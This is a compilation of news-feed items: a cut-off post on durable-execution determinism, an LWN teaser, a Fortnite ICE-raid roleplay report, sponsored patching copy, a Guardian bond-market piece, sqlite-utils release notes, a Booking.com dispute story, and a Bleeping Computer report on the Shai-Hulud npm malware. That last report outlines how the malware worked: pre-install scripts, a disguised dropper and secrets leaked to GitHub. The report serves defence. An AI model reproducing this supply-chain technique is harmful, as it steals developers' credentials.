The need for determinism in control flow is a by-product of recovery being based on retries of the function. If we could magically reach into the function, to the exact line to resume from, reconstructing the local state and executing from there, we wouldn’t need deterministic control flow code. But that isn’t how it works. The function is executed again from the top, and it better make the same decisions again, or else you might end up with weird behaviors, inconsistencies or even double charging your customers.
The side effects absolutely can and should be non-deterministic, which is fine because they should generally only be executed once, even if the function itself is executed many times. For those failure cases where the result is not durably stored, we rely on idempotency or duplication tolerance.
This is a pretty generalized model. There are a number of nuances and differences across the frameworks. Some of the examples would actually result in a non-determinism error in Temporal, due to how it records event history and expects a matching replay. The developer must learn the peculiarities of each framework. Hopefully this post provides a general overview of determinism in the context of durable execution.
[$] APT Rust requirement raises questions
Linux Weekly News
lwn.net
2025-11-24 15:26:49
It is rarely newsworthy when a project or package picks up a new
dependency. However, changes in a core tool like Debian's Advanced Package
Tool (APT) can have far-reaching effects. For example, Julian
Andres Klode's declaration
that APT would require Rust in May 2026 means that a few of Debian's
un...
Reader subscriptions are a necessary way
to fund the continued existence of LWN and the quality of its content.
If you are already an LWN.net subscriber, please log in
with the form below to read this content.
Please consider
subscribing to LWN
. An LWN
subscription provides numerous benefits, including access to restricted
content and the warm feeling of knowing that you are helping to keep LWN
alive.
(Alternatively, this item will become freely
available on December 11, 2025)
In the deserted town square of the city of Springfield, three people huddle in an empty courthouse. Two of these people are civilians; one is a “vulnerable,” someone being pursued and targeted by government agents. They talk in hushed tones to one another, playing music to keep fear at bay. Above the door of the courthouse, a plaque reads, “Liberty and Justice for Most.”
At the bottom of the courthouse stairs, two government agents step out of a purple golf cart. They approach the door. They’re carrying guns.
“Hey, is anyone inside?” one of them says. “Any vulnerables in here? We have a warrant. We have a warrant for any vulnerables in the area.”
One civilian opens the door, sees the agents, and immediately slams it shut. After more warrant calls, the civilian says, “Slip it under the door.”
“I would slip it under the door, but there’s no space under the door,” the agent says, stuttering.
The civilian pauses. “Well. Sounds like a personal problem.”
This was the scene in a Simpsons-themed Fortnite lobby on November 21, where members of a new 500-person gaming group gathered to
practice what they would do
if Immigration and Customs Enforcement (ICE) agents came knocking at their doors in real life. The group,
New Save Collective
, is an effort to organize people in the gaming world who have more progressive ideas but no place to discuss them.
“ Our hypothesis since we started this project has been that opposition forces like corporations and the military and the far right have done a really good job at weaponizing the social features of gaming,” said one of the organizers, who goes by PitaBreadFace online and spoke to 404 Media on condition of pseudonymity due to security concerns, as they said people claiming to be ICE agents have already infiltrated the group’s Discord server a few times. “ They’re building institutions in the gaming landscape, which is the biggest entertainment industry in the world, lest people forget.”
“Gaming wasn’t kind of a random genre that we chose,” another player, called Siggelkow,
told
Wired
ahead of the Friday event last week
. “We’ve been tracking anti-immigrant myths and disinformation digitally for years.”
PitaBreadFace and other grassroots organizers have been working on the Collective for the past three years, more recently in partnership with formal non-profit advocacy groups like
Define American
and
Immigrants Belong
. The Fortnite event was run by the Collective, but is part of a larger campaign titled “Play Your Role,” which is intended to teach people about their rights and “counter fear-based misinformation about immigrants,” according to a statement written by the non-profits. The Play Your Role campaign also included a
live-streamed Grand Theft Auto event
last Thursday, in which
gamers roleplayed
with people dressed as real ICE agents during traffic stops or outside apparent detention centers. Earlier this year,
Roblox players
conducted similar roleplaying events to simulate ICE raids and protests.
Scenes from the Nov. 21 Fortnite event. Redacted to remove players' usernames and other identifying information.
Organizers asked 404 Media not to join the official Fortnite lobby in real time; they said having reporters in the same space as Collective members might have exerted media pressure or kept them from getting the full experience. “ We’re not going to stream it for security reasons, and no reporters inside of it,” PitaBreadFace said on the morning ahead of the event. “Our main goal tonight is to really build and organize with the folks who are coming, and because I’m an organizer, that’s obviously the priority.”
However, they shared a number of clips from matches and discussions after the event had concluded.
After some scuffling, the agents agree to “abandon the vehicle” and run off. As they are chased off, one person calls after them, “Yeah, I threw a pizza at you! I threw a pizza at you with extra
bacon
.”
In another clip, the two gamers role-playing as ICE agents—portrayed by Fortnite’s
Airhead
character—are standing on their golf cart, surrounded by civilians in the middle of their pursuit of a “vulnerable,” the event’s chosen term for people being targeted by government agents.
“This does not concern you,” one of the agents says to the civilians, encouraging them to leave.
“We’re allowed to record,” one person responds. Another asks, “Who
does
it concern?”
“We’re looking for two vulnerables,” the agent says, as the civilian group closes in on the golf cart. “Excuse us, you’re interfering. We have a court order.”
After some scuffling, the agents agree to “abandon the vehicle” and run off. As they are chased off, one person calls after them, “Yeah, I threw a pizza at you! I threw a pizza at you with extra
bacon
.”
The agents were played by the organizers behind the Collective, and they were noticeably less persistent than
ICE agents in real life
. That’s evidenced by them saying things like, “Excuse us,” but it’s also evident in their behavior. In the first clip, they don’t bust down the door of the courthouse; when a civilian briefly opens it, they don’t barge inside. At the end of that encounter, one agent says to the other, “This home is too protected; let’s go see if we can find a vulnerable somewhere else.” Given their
reputation for violence in raids
, IRL ICE agents are unlikely to give up as easily.
But that kind of environment allows the training session to be a reasonable intensity for a gamer’s first round of practice responding to ICE, and still be a fun, safe place for people to hang out. According to PitaBreadFace, the main goal of the space wasn’t necessarily to be a specifically anti-ICE training facility, but more so to organize a community and build trust. And this
tactical frivolity
is a proven method of protest—ask anyone who wore a
frog costume to a Portland protest
earlier this year.
“ A situation, even though it’s virtual, where you can clearly overwhelm ICE’s numbers and do silly stupid things and work together easily and be connected to each other—it just felt like actually winning,” one gamer said in a clip provided to 404 Media. “It felt like a way to kind of heal some of the burnout.”
A virtual situation also allows players to fire back at ICE in ways that likely wouldn’t be practical in real life. In one clip, for example, two agents are chasing after a vulnerable, yelling, “Hey, stop right there!”
When they get close enough, the vulnerable drops a
Boogie Bomb
, an item which forces another player to dance under a disco ball for about three seconds.
“Oh,” the Boogie-Bombed agent exclaims, before the gamers start laughing.
The event also had another component. Before the practice ICE raids, gamers went around to practice finding one another, creating groups and building connections. PitaBreadFace described this segment as learning how to “meet your neighbors, know those around you, and establish contact.” A lot of that, according to clips provided to 404 Media, involves doing dance emotes together; in one case, it was a team of about 10 people destroying an in-map mansion and yelling, “Pay your taxes!”
But it also involved discussions about what community means. In the middle of a
“Shout!” dance circle
, one gamer said that they first learned the importance of community organizing when protesting the
2017 Muslim ban
.
“ I feel like community taught me that like if enough people came together and there was enough will, anything could happen,” they said. “I remember the first Muslim ban, and just hella people went to the airport, and we were able to petition for people to get released. And they were. It was cool to see that organically happen.”
New Save Collective plans to run more events similar to this one through the end of this year, at which point Fortnite is slated to get rid of the proximity chat mode it uses. PitaBreadFace said the response had been so far overwhelmingly positive.
“ I think gamers represent this constituency of people who are really common-sense,” PitaBreadFace said. “It’s not like they’re even super pro-immigrant. They’re just like, ‘No, this doesn’t make sense. This community member who’s been part of a community for 25 years is being ripped out of his home in the middle of the night. That doesn’t make sense, and we should do something about it.’ We have a lot of people who joined the [Discord] server who are like, ‘I actually don’t know, but I know this is wrong and I’m here to learn and participate.’”
About the author
Jules is 404 Media’s first fellow. They care about unions, global politics, and how AI is changing the world of labor.
SCCM and WSUS in a Hybrid World: Why It’s Time for Cloud-native Patching
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 15:01:11
Hybrid work exposes the limits of SCCM and WSUS, with remote devices often missing updates and WSUS now deprecated. Action1's cloud-native patching keeps devices updated from any location, strengthening compliance and security. [...]...
For many IT leaders, the warning signs appeared gradually: devices slipping out of compliance for weeks, patch cycles extending well beyond acceptable risk thresholds, and admins struggling to adapt on-prem tools to a hybrid workforce.
SCCM was once the gold standard of Windows
endpoint management,
serving organizations faithfully since the 1990s. But as workforces became distributed and threats accelerated, the model it was built on—local networks, VPNs, and servers—became a bottleneck instead of a foundation.
Hybrid work changed everything, yet many teams are still running architectures that depend on a perimeter that no longer exists.
1. The VPN Problem: Why Legacy Tools Can’t Keep Up
Today’s hybrid workforce exposes the limits of any system that depends on corporate network connectivity. SCCM and
WSUS
require endpoints to check in over LAN or VPN.
That means if a remote device doesn’t connect, it doesn’t get patched. And for many organizations, it’s the daily norm.
One enterprise reported that, before modernizing, a third of remote endpoints went 30 days or more without a single update because VPN usage was inconsistent.
Bottom Line: SCCM and WSUS depend on VPN connectivity. When users disconnect, so does your patch compliance.
2. WSUS Deprecation: The Clock Is Ticking
Compounding the issue is WSUS, the engine behind SCCM patch orchestration, which is now
officially deprecated
. No innovation, no modern security integration, and an ever-growing list of maintenance headaches.
Admins continue to fight WSUS re-indexing issues, database corruption, and synchronization failures. A WSUS breakdown stalls remediation entirely, increasing exposure at exactly the wrong time.
Bottom Line: SCCM’s reliance on WSUS keeps organizations chained to a fragile, end-of-life patching system.
3. Cloud-Native Patch Management: Built for Hybrid Work
Unlike legacy systems, SaaS-based tools like Action1 don’t depend on the corporate network. Endpoints check in securely over the internet, regardless of where users are. Home Wi-Fi, hotel broadband, or the office.
Patches follow the user, not the VPN. Content comes from global delivery networks that eliminate congestion and fragile on-prem repositories. The result: consistent patching, lower latency, and fewer blind spots.
One mid-sized enterprise reduced its time to reach 95% patch compliance from 12 days to 48 hours after moving off SCCM + WSUS.
Another customer cut their vulnerability window by half once VPN dependency was removed from the patch process.
Shorter patch cycles directly reduce the likelihood of breach, lower cyber-insurance premiums, and improve compliance metrics. Meanwhile, eliminating reliance on VPNs keeps remote systems isolated from critical infrastructure while maintaining full control.
Bottom Line: Modern patching delivers faster remediation, lower risk, and stronger compliance.
5. The Cost of Staying Legacy
Maintaining SCCM and WSUS is expensive, not because of licensing, but because of everything around them.
Servers. SQL databases. Distribution points.
VPN troubleshooting
. Constant cleanup of WSUS metadata or stuck clients.
Each layer consumes budget and admin hours that should be spent improving security, not maintaining infrastructure. Cloud-native solutions remove nearly all of this overhead. No on-prem servers. No synchronization failures. No more waiting for machines to “come home” to get updates.
Bottom Line: Legacy patching tools look “free,” but their hidden costs add up fast.
6. Aligning IT and Security Priorities
Today’s CISOs and IT directors want measurable outcomes, not abstract elegance.
Action1
delivers those through automation, real-time visibility, and consistent coverage across distributed environments.
By eliminating the need for VPNs or internal networks, patch compliance becomes predictable. When endpoints are updated on time, every other part of your security program improves, vulnerability windows shrink, incident response accelerates, and audit readiness becomes effortless.
Hybrid work is no longer the exception, it’s the standard. Yet many organizations are still relying on architectures designed for a world where every endpoint sat behind a firewall.
As SCCM and WSUS age out, the risk remains the same. Cloud-native solutions like Action1 were built from the ground up for modern connectivity, automation, and
compliance
visibility.
In a market defined by constant change, the organizations that thrive are those that modernize before an incident forces them to.
Bottom Line: The shift from SCCM and WSUS to cloud-native patching is a risk-management decision, not just an upgrade.
The Key Takeaway
For IT leaders evaluating the next step in endpoint management strategy, the message is clear: the hybrid workforce is here to stay. Legacy architectures tied to on-prem boundaries and deprecated patching engines can’t keep pace.
Cloud-native, automated solutions like
Action1
are already solving these problems today, reducing overhead, improving compliance, and strengthening security posture for distributed organizations everywhere.
Try it free today
and discover how effective modern patch management can be.
Bond market power: why Rachel Reeves is keen to keep the £2.7tn ‘beast’ onside
Guardian
www.theguardian.com
2025-11-24 15:00:28
Hugely influential traders will be hanging on the chancellor’s every word when she announces her budgetBusiness live – latest updatesAt just after 12.30pm on Wednesday, the machine will be listening, the trading algorithms ready, and billions of pounds of buy-and-sell orders stacked up awaiting Rach...
At just after 12.30pm on Wednesday, the machine will be listening, the trading algorithms ready, and billions of pounds of buy-and-sell orders stacked up awaiting Rachel Reeves’s budget.
For the first time on the London trading floor of
Deutsche Bank
, a custom-built artificial intelligence tool will tune in to the chancellor’s speech. It will transcribe her words, spot shifts in tone and spit out alerts when the numbers deviate from expectations.
“As we get it, in real time, we’ll be able to decipher it,” says Sanjay Raja, the bank’s chief UK economist. The natural language model has been trained on the entirety of Reeves’s recent public appearances: media interviews, conference speeches, the spring Office for
Budget
Responsibility (OBR) forecasts and last year’s budget. All with the aim of giving the bank an edge in one of the most heavily anticipated budgets in recent history.
“There are some high, high, high, expectations going into 26 November, for the budget to deliver on the part of the City,” says Raja.
This is the age of the bond market budget. After an explosion in government borrowing over the past decade; a sharp rise in debt interest costs, and with the scars of the Brexit vote and Liz Truss’s mini-budget still fresh, how the market reacts is critically important.
The trading floor at Deutsche Bank in London.
Photograph: Roger Parkes/Alamy
For months, Reeves has been schmoozing the biggest players in the £2.7tn UK government debt market, including hosting the bosses of
Goldman Sachs
and
JP Morgan
in Downing Street, in a bid to ensure smooth passage for her multibillion-pound tax and spending plans.
What the market
thinks
has been pored over by commentators throughout the budget buildup, anthropomorphising the electronic transactions executed on trading systems the world over. The fear is that upsetting the market could trigger a sell-off – driving up borrowing costs for the government, mortgage holders and businesses. That could trigger a domino effect that in turn costs Reeves and Keir Starmer their jobs – potentially paving the way for a new Reform UK-led government.
In reality, the market for UK government bonds, – known as
gilts
– is not of course controlled by a single, shadowy figure, but rather a panoply of institutions and people, sat behind trading desks across the City, Canary Wharf and other financial centres.
On the trading floor of the FTSE 100 insurer Phoenix Group, with views overlooking London’s Old Bailey, Samer Refai will be ready behind his Bloomberg terminal. With £300bn of assets under its control, including billions of pounds-worth of gilts held to back the pensions, savings and life insurance of its 12 million customers, budget day is a big deal.
“You must have heard the famous quote from Bill Clinton’s adviser,” says the firm’s head of macro markets. (James Carville, the former president’s chief strategist, quipped in 1993 that reincarnation as “the bond market” would give him more power than any president or pope).
“It really does intimidate people. Nothing moves the government quicker than the bond market,” he says.
“You can tell that the sort of – the animal, or the beast, that you’re interacting with is obviously influential.”
In recent years, the power of the bond trader has ballooned amid an explosion in government debt and borrowing costs across advanced economies driven in part by rising
inflation
and weak growth. While the UK is not alone, investors say it has unique challenges.
After a succession of economic shocks and a history of running annual budget deficits, Britain has racked up a debt pile worth more than £2.7tn – close to 100% of national income. Inflation is at the highest rate in the G7, and continuous speculation over the government’s fiscal position has not helped.
At the same time, the
Bank of England is selling gilts
held under its crisis-era quantitative easing scheme. Alongside issuance to cover government borrowing, vast gilt volumes are flooding the commercial market.
Historically, pension funds hoovered up most of the debt. But the end of defined benefit or final salary schemes has steadily sapped demand. More overseas owners have stepped in, and account for about a third of the market.
The OBR warns this could make the UK more vulnerable. Overseas investors could readily choose to buy elsewhere. For Reeves, this will be front of mind in keeping the bond market onside.
Against this backdrop, Britain’s annual debt interest spending has reached £100bn – representing £1 out of every £10 spent by the Treasury. That is adding to budget pressures as the costs of repairing battered public services and supporting an ageing population mount.
The yield – in effect the interest rate – on 10-year bonds has reached 4.5%, the highest level in the G7. The
30-year
is close to its highest point since 1998.
Simon French, the chief economist at Panmure Liberum, says part of Reeves’s strategy is to coax yields back down to shrink this interest bill. Getting Britain back to the middle of the pack could be worth billions of pounds a year.
“Comparing the UK to the G7 is like saying who is the most drunk at the party. [But] it’s a pretty heavy inroad into your fiscal gap. That is the opportunity.”
There could be a “dullness dividend” from getting interest rates down, he says, the opposite of the “
moron premium
” under Truss. “Avoid self-harm, and there’s a rally.”
To do so, Reeves will be required to tackle inflation at the same time as filling a
potential £20bn budget shortfall
. Raising taxes and cutting spending could make that tougher – especially without crushing economic growth, or breaking Labour’s manifesto promises.
How much more debt investors will be asked to stomach will be a key budget moment. The City is looking for Reeves to rebuild a hefty margin of headroom against her fiscal rules. That would limit the deficit, and with it future gilt auctions.
“You’re waiting for the mic drop on the current budget rule. That’s what we’re looking for,” says Moyeen Islam, the head of UK rates strategy at Barclays.
In the spring, Reeves left £9.9bn in reserve as a buffer. But this is expected to have been more than demolished by higher borrowing costs, welfare U-turns, and a downgraded OBR
productivity
forecast.
Investors are hoping for a figure above £20bn, he says. “That would be very gilt positive.”
However, a political strategy centred on pleasing City financiers is not entirely comfortable territory for Labour, especially when many of those investors want
Reeves to get a grip on rising welfare spending
.
Geoff Tily, senior economist at the Trades Union Congress, says the City backed the Tories’ 2010s austerity drive. “That damaged, rather than repaired, the public debt.
“Our view is that markets are not always rational. But markets do care about growth. And there is evidence that they would look favourably on policies that set the economy on a better course.”
Investors had been led to expect a manifesto-busting income tax rise. Doing so would be the simplest way to raise billions for the exchequer, rather than through a smorgasbord of smaller measures that could be tricky to implement.
“We had underestimated how difficult a choice that is, and how high that hurdle [a manifesto breach] is for a chancellor – any chancellor,” says Islam.
Perversely, this could smooth Wednesday’s reaction, as many investors fear Reeves being ejected from No 11. “The market has learned that sometimes those decisions are more complex and more nuanced than perhaps we had thought.”
On Panmure Liberum’s trading floor, Marco Varani still predicts choppy trading conditions.
“What you really crave in this industry is movement, volatility. There is more business. Days like Brexit and the first days of Covid, that’s like when it’s peak frenzy. I mean, it was utter carnage.”
As soon as the Bloomberg headlines on Reeves’s speech land, the head of retail trading expects a rapid reaction. “You can see the gilt market got a little bit nervous with the flip-flopping around. There will be a lot of volatility.”
During the speech, the first gilt moves, currency swings and shifts in UK-listed company shares are expected to be mostly driven by “fast money” – the City slang for hedge funds.
However, the ultimate verdict could take several days. How Threadneedle Street proceeds with its
interest-rate cutting path
– expected weeks later on 18 December – is key. As will be Britain’s growth trajectory and global conditions.
Anthony O’Brien, the head of market strategy at Phoenix Group, says: “The market’s interpretation on day one should never be seen as ‘that’s what the market’s telling you’. To a large extent it is just people who are caught offside. And perhaps it does take a few more days afterwards.
“Ultimately it is economics which drives the valuation for gilts. We need to concentrate on inflation coming down. Let’s just get this uncertainty out of the way.”
sqlite-utils 4.0a1 has several (minor) backwards incompatible changes
Simon Willison
simonwillison.net
2025-11-24 14:52:34
I released a new alpha version of sqlite-utils last night - the 128th release of that package since I started building it back in 2018.
sqlite-utils is two things in one package: a Python library for conveniently creating and manipulating SQLite databases and a CLI tool for working with them in the ...
I released a
new alpha version
of
sqlite-utils
last night—the 128th release of that package since I started building it back in 2018.
sqlite-utils
is two things in one package: a Python library for conveniently creating and manipulating SQLite databases and a CLI tool for working with them in the terminal. Almost every feature provided by the package is available via both of those surfaces.
This is hopefully the last alpha before a 4.0 stable release. I use semantic versioning for this library, so the 4.0 version number indicates that there are backward incompatible changes that may affect code written against the 3.x line.
These changes are mostly very minor: I don’t want to break any existing code if I can avoid it. I made it all the way to version 3.38 before I had to ship a major release and I’m sad I couldn’t push that even further!
Breaking change
: The
db.table(table_name)
method now only works with tables. To access a SQL view use
db.view(view_name)
instead. (
#657
)
This change is for type hint enthusiasts. The Python library used to encourage accessing both SQL tables and SQL views through the
db["name_of_table_or_view"]
syntactic sugar—but tables and view have different interfaces since there’s no way to handle a
.insert(row)
on a SQLite view. If you want clean type hints for your code you can now use the
db.table(table_name)
and
db.view(view_name)
methods instead.
The
table.insert_all()
and
table.upsert_all()
methods can now accept an iterator of lists or tuples as an alternative to dictionaries. The first item should be a list/tuple of column names. See
Inserting data from a list or tuple iterator
for details. (
#672
)
A new feature, not a breaking change. I realized that supporting a stream of lists or tuples as an option for populating large tables would be a neat optimization over always dealing with dictionaries each of which duplicated the column names.
I had the idea for this one while walking the dog and built the first prototype by prompting Claude Code for web on my phone. Here’s
the prompt I used
and the
prototype report it created
, which included a benchmark estimating how much of a performance boost could be had for different sizes of tables.
Breaking change
: The default floating point column type has been changed from
FLOAT
to
REAL
, which is the correct SQLite type for floating point values. This affects auto-detected columns when inserting data. (
#645
)
I was horrified to discover a while ago that I’d been creating SQLite columns called FLOAT but the correct type to use was REAL! This change fixes that. Previously the fix was to ask for tables to be created in strict mode.
Now uses
pyproject.toml
in place of
setup.py
for packaging. (
#675
)
As part of this I also figured out recipes for using
uv
as a development environment for the package, which are now baked into the
Justfile
.
Tables in the Python API now do a much better job of remembering the primary key and other schema details from when they were first created. (
#655
)
Breaking change
: The
table.convert()
and
sqlite-utils convert
mechanisms no longer skip values that evaluate to
False
. Previously the
--skip-false
option was needed, this has been removed. (
#542
)
Another change which I would have made earlier but, since it introduces a minor behavior change to an existing feature, I reserved it for the 4.0 release.
Breaking change
: Tables created by this library now wrap table and column names in
"double-quotes"
in the schema. Previously they would use
[square-braces]
. (
#677
)
Back in 2018 when I started this project I was new to working in-depth with SQLite and incorrectly concluded that the correct way to create tables and columns named after reserved words was like this:
That turned out to be a non-standard SQL syntax which the SQLite documentation
describes like this
:
A keyword enclosed in square brackets is an identifier. This is not standard SQL. This quoting mechanism is used by MS Access and SQL Server and is included in SQLite for compatibility.
Unfortunately I baked it into the library early on and it’s been polluting the world with weirdly escaped table and column names ever since!
I’ve finally fixed that, with the help of Claude Code which took on the mind-numbing task of
updating hundreds of existing tests
that asserted against the generated schemas.
The above example table schema now looks like this:
create table "my table" (
"id" integer primary key,
"key" text
)
This may seem like a pretty small change but I expect it to cause a fair amount of downstream pain purely in terms of updating tests that work against tables created by
sqlite-utils
!
The
--functions
CLI argument now accepts a path to a Python file in addition to accepting a string full of Python code. It can also now be specified multiple times. (
#659
)
I made this change first
in LLM
and decided to bring it to
sqlite-utils
for consistency between the two tools.
Breaking change:
Type detection is now the default behavior for the
insert
and
upsert
CLI commands when importing CSV or TSV data. Previously all columns were treated as
TEXT
unless the
--detect-types
flag was passed. Use the new
--no-detect-types
flag to restore the old behavior. The
SQLITE_UTILS_DETECT_TYPES
environment variable has been removed. (
#679
)
One last minor ugliness that I waited for a major version bump to fix.
Booking.com cancels $4K hotel reservation, offers same rooms again for $17K
When Erika Mann booked a hotel for the 2026 Formula One Grand Prix in Montreal, she played it safe.
Her relatives were flying in from the Netherlands to watch the races with her, and Mann, who lives in Oakville, Ont., wanted to make sure their accommodations were locked in.
On May 25, she booked a four-room unit on
Booking.com
at Montreal's Holland Hotel, steps from the heart of race-weekend action. Price tag: $4,300. "I was super excited and yeah, jumped right on it," Mann told Go Public.
But weeks after her reservation was confirmed, her excitement ended. Mann says both the hotel and Booking.com told her the price was a mistake — and if she still wanted the unit for May 22-24, 2026 she'd need to cough up four times the amount — more than $17,000.
"That was just so outstandingly outrageous that I almost couldn't believe it," she told Go Public.
Got a story for Go Public? Contact Rosa and the team at
GoPublic@cbc.ca
Digital rights expert David Fewer says shocks like this are becoming more common as online travel sites and hotels rely on automated booking and pricing systems.
He says Booking.com's policies allow confirmed reservations to be cancelled if the company decides the original rate was an error, leaving consumers exposed — especially when prices surge during big events, a practice known as event pricing.
"She'd done the research, she'd found the deal … and she'd booked it and thought she was done, and she was not," said Fewer, who directs the Samuelson-Glushko Canadian Internet Policy and Public Interest Clinic (CIPPIC) at the University of Ottawa.
"It's a weak position … our consumer protection laws are not great."
'Everything about this felt off'
When Mann booked the accommodations, Formula One organizers hadn't locked in the exact race dates. So she covered her bases — reserving the same four-bedroom unit for two possible weekends in
May 2026, both with free cancella
tion.
Once the official dates were announced, she cancelled the extra booking, in line with Booking.com rules.
Mann says she first heard there was a problem weeks later on June 27, when the hotel called her saying the price was wrong and she needed to cancel or pay the new rate.
She contacted Booking.com, which gave her two choices: Cancel the reservation herself or pay that new sky-high rate for the same unit on the same dates.
When she refused and demanded to keep her original booking, the website cancelled it.
At this point, Mann says flights were already booked, and accommodation prices in Montreal were rising quickly.
"It felt like they were running out the clock," she said.
Despite her efforts, nothing changed.
"It felt like Groundhog Day, to be honest,” she said. “Every time it was the same thing. You call in, you're on an immense hold, you talk to someone, you tell the whole story over again.”
The Holland Hotel by Simplissimmo is at the heart of Montreal, close to tourist hot spots, and the Formula One Grand Prix events.
(Charles Contant/CBC)
Hotel blames pricing glitch
The Holland Hotel where Mann had booked, told Go Public a "synchronization error" with Booking.com caused the issue, allowing non-event pricing to briefly appear for two units at the property. When they did, the hotel says Mann booked one of them.
It said an automated software updates prices through Booking.com's system — which means the hotel can't manually override the rates shown on the platform.
The hotel says that when Formula One organizers confirmed in 2024 that the 2026 Montreal Grand Prix would take place on the third or fourth weekend of May, the system should have automatically adjusted those dates to “event pricing.”
Mercedes driver George Russell, of the United Kingdom, drives during Formula One auto racing action at the Canadian Grand Prix in Montreal on June 15.
(Christopher Katsarov/The Canadian Press)
Booking.com says the hotel asked them to review the case. The site sided with the property after it reported the posted rate was an error.
Mann says Booking.com did offer alternative accommodations for roughly what she paid — but none were remotely equivalent and would have meant squeezing her in with her adult step brother, step sister and partner, plus her 24-year-old son and husband.
"One was a single-room studio with two beds," she said. "Another had one bathroom. We're a group of adults, not backpackers."
Fine-print pitfall
Booking.com's terms
note that “Obvious errors and obvious misprints are not binding. For example, if you book a premium c
ar or a night in a luxury suite mistakenly offered for $1, your booking may be cancelled, and we'll refund anything you've paid."
The hotel told Go Public it was this Booking.com rule that allowed Mann's reservation to be cancelled, and noted that "nothing about this case is unusual."
It says rates are always higher during the Grand Prix, and the increased prices were a "consistent and a well-known market reality" during the event.
Digital law expert David Fewer says booking platforms offer few protections to users and consumer protection laws are lacking.
(Naomi Fewer)
Fewer isn't convinced.
"It's not like they missed the decimal point, right? They gave you the hotel for a buck instead of a thousand bucks. This is something else,” Fewer said. “This is where I think consumers should get the benefit.”
He says the bigger problem is that travellers are often left to fend for themselves, noting that many booking platforms have policies that don’t protect customers, and consumer protection laws haven't caught up.
"What we need is a consumer protection statute," he said. "Especially for these kinds of things like surge pricing or after-the-fact event pricing … consumers get the benefit of the deal that they found."
Booking.com takes action — after Go Public inquires
After Go Public contacted Booking.com, the company took another look at Mann's case.
In a written statement, it said the hotel requested the cancellation.
WATCH | Booking.com is one of the biggest online travel agencies:
Booking.com cancels $4K reservation, offers to rebook for $17K | Go Public
An Ontario woman booked a $4,300 hotel for the 2026 Montreal Grand Prix, but Booking.com cancelled it and offered her the same rooms on the same dates for more than $17,000. A digital rights lawyer told CBC Go Public the situation is an example of how automated pricing and weak protections can leave travellers exposed.
"Our procedures do allow for cancellations in limited circumstances where a genuine rate mistake has occurred," Booking.com wrote to Go Public. "That being said, we recognize that communication to the customer fell short of our usual standards."
The company says the cancellation was approved under its standard policy permitting properties to void bookings in "rare cases where a property identifies a clear rate error."
Following Go Public's questions, Booking.com told Mann it would honour her original booking and cover the price difference — allowing her to keep the same four bedroom unit at no additional cost.
Mann says she's relieved, but says getting help shouldn't require contacting the media.
"You're basically left holding an empty bag and have no power."
How Canadians can protect themselves
Fewer says travellers booking accommodations during major events should take the following steps to protect themselves:
Taking screenshots during the booking including numbers and prices.
Calling hotels directly to confirm the reservation rate.
Using credit cards with strong dispute policies.
"You need to protect yourself the way you would with any contract," he said.
Mann says she did everything right — booked early and documented everything — and still ended up fighting for almost two months to get what she paid for.
"I've used Booking.com for so many other trips and travels, but to me, when this sort of thing happens," she said, "You lose faith.
Submit your story ideas
Go Public is an investigative news segment on CBC-TV, radio and the web.
We tell your stories, shed light on wrongdoing and hold the powers that be accountable.
If you have a story in the public interest, or if you're an insider with information, contact gopublic@cbc.ca with your name, contact information and a brief summary. All emails are confidential until you decide to Go Public.
Shai-Hulud malware infects 500 npm packages, leaks secrets on GitHub
Bleeping Computer
www.bleepingcomputer.com
2025-11-24 14:32:40
Hundreds of trojanized versions of well-known packages such as Zapier, ENS Domains, PostHog, and Postman have been planted in the npm registry in a new Shai-Hulud supply-chain campaign. [...]...
Hundreds of trojanized versions of well-known packages such as Zapier, ENS Domains, PostHog, and Postman have been planted in the npm registry in a new Shai-Hulud supply-chain campaign.
The malicious packages have been added to NPM (Node Package Manager) over the weekend to steal developer and continuous integration and continuous delivery (CI/CD) secrets. The data is automatically posted on GitHub in encoded form.
At publishing time, GitHub returned 27,600 results corresponding to entries related to the recent attack.
GitHub repositories with secrets stolen in the new Shai-Hulud campaign
source: BleepingComputer
When the Shai-Hulud malware first appeared in the npm space in mid-September, and it
compromised 187 packages
with a self-propagating payload that used the TruffleHog tool to steal developer secrets.
The threat actor automatically downloaded legitimate packages, modified the
package.json
file to inject a malicious script, and then published them on npm using compromised maintainer accounts.
When Charlie Eriksen, malware researcher at developer-focused security platform Aikido Security, discovered the
new campaign
earlier today, there were 105 trojanized packages with Shai-Hulud indicators. Since then, the number grew to 492, some of them with multiple versions.
Later, the researcher
warned
that the secrets stolen in the supply-chain attack were leaked on GitHub.
However, the campaign has grown exponentially to more than 27,000 malicious packages. Threat researchers at Wiz cloud security platform discovered around 350 unique maintainer accounts used in the campaign,
noting
that " 1,000 new repositories are being added consistently every 30 minutes in the last couple of hours."
Eriksen clarified for BleepingComputer that the repositories on GitHub are indicative of compromised developers that used trojanized npm packages and thad GitHub credentials on their environment.
A
technical analysis
of the new Shai-Hulud malware analysis from CI/CD security company Step Security explains that the new payloads are present in two files, one being
setup_bun.js
- a dropper disguised as a Bun installer.
The second file is called
bun_environment.js
and is sizeable at 10MB. It relies on "extreme obfuscation techniques," Step Security says, such as a large hex-encoded string with thousands of entries, an anti-analysis loop, and an obfuscated function to retrieve every string in the code.
According to Wiz, the malicious code collects developer and CI/CD secrets and publishes them to GitHub repositories "with names referencing Shai-Hulud." The malicious code executes only during the pre-install stage and creates the following files:
cloud.json
contents.json
environment.json
truffleSecrets.json
Stolen secrets are published on GitHub to automatically-generated repositories that have the description "Sha1-Hulud: The Second Coming."
It appears that the threat actor has also gained access to GitHub accounts that they are now using to create repositories with the four files above.
GitHub accounts hosting repos from the Shai-Hulud campaign
source: BleepingComputer
GitHub is deleting the attacker’s repositories as they emerge, but the threat actor appears to be creating new ones very fast.
On the list of 186 packages that Aikido Security found to be compromised with a new version of the Shai Hulud malware, there are multiple packages from Zapier, ENS Domains, PostHog, and AsyncAPI.
The compromised Zapier packages constitute the official toolkit for building Zapier integrations and are essential for Zapier developers.
The EnsDomains packages are tools and libraries widely used by wallets, DApps, exchanges, and the ENS Manager app, to handle .eth names, resolving them to Ethereum addresses, linking IPFS content, validating names, and interacting with the official ENS smart contracts.
All of the compromised packages are available for download from npm. However, in some cases, the platform displays a warning message about unauthorized publication of the latest version, indicating that the automated review has caught signs of a compromise.
Warning message on npm
Source: BleepingComputer
Developers are advised to check Aikido’s post for the complete list of the infected packages, downgrade to safe versions, and rotate their secrets and CI/CD tokens immediately.
Wiz researchers recommend security teams to first identify the compromised packages and replace them with legitimate ones. They also urge organizations to rotate all credentials tied to npm, GitHub, and cloud providers.
Aikido Security advises developers to disable npm postinstall scripts during continuous integration, if possible.
